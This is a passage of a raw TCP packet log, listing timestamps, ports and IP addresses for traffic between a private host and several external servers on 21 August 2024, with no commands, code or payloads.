Aug 21, 2024 08:32:17.162041903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162092924 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.162100077 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.162106037 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162116051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162122965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162127972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162132025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162137985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162161112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162163019 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.162173986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162178040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162185907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162213087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162230015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162240028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162250996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162256956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162267923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162272930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162276030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162285089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162290096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.162302017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162314892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162333965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163187027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163192034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163203001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163275957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163294077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163341045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163347006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163357019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163367033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163372040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163381100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163386106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163389921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163392067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163430929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163443089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163484097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163490057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163500071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163505077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163510084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.163532972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.163563967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.164203882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164207935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164222002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164227009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164237022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164242029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164247990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164252996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.164269924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.164289951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166277885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166287899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166294098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166328907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166337013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166347980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166352987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166356087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166368961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166402102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166523933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166529894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166533947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166547060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166563034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166569948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166579962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166593075 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166611910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166615963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.166624069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.166668892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.167380095 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.167392015 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.167433023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167443991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167448997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167455912 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.167464018 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.167480946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167486906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167489052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.167504072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167511940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167521000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.167529106 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.167538881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.167563915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.167954922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.167968988 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.167973042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168011904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168013096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168020964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168045044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168050051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168065071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168066025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168091059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168119907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168361902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168368101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168378115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168412924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168448925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168453932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168466091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168471098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.168512106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.168523073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168531895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168536901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168545961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168551922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168582916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168589115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.168595076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.168602943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.168646097 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.168984890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169034958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169040918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169096947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.169114113 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.169179916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169186115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169195890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169200897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169205904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169226885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169233084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169243097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169245958 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.169249058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169256926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.169260979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169269085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.169295073 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.169315100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170017958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170023918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170034885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170066118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170078039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170078993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170084000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170094967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170109987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170140982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170166969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170167923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170175076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170188904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170207024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170213938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170218945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170243025 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170300007 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.170957088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170963049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.170969009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171011925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171024084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171030045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171041012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171053886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171066046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171068907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171072960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171078920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171088934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171111107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171111107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171128035 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171195984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171204090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171211958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171217918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171222925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171236992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171242952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171247005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171262026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171294928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171299934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171302080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171309948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171313047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.171341896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.171359062 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.172125101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172136068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172141075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172169924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.172194958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172199965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172204018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.172214985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172219992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172230005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.172260046 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173037052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173063993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173070908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173077106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173082113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173091888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173134089 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173135042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173141956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173145056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173152924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173157930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173194885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173194885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173232079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173238039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173249006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173254013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173259020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173263073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173276901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173286915 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173286915 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173305035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173310995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173315048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173326969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173357964 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173376083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173393965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173404932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173413038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173425913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173432112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173440933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173441887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173449039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173453093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173464060 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173484087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173485994 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173491001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173528910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173530102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173584938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.173971891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173978090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.173988104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174026966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174062967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174072981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174078941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174108982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174113989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174118996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174118996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174158096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174165964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174173117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174177885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174213886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174246073 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174246073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174252987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174279928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174288988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174293995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174293995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174302101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174313068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174321890 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174348116 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174349070 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174367905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174375057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174385071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174390078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174395084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174400091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174417973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174417973 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174458027 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174498081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174508095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174514055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174519062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174524069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174529076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174534082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174539089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174551010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174577951 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174587011 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174599886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174612045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174627066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174633980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174638987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174638033 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174649000 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174675941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174675941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174705029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174710989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174721003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174726009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174730062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174740076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174746037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174751043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174752951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174762964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174771070 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174791098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174829006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174834013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174846888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174851894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174856901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174863100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.174865007 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.174875975 CEST	49720	80	192.168.2.6	147.45.44.104
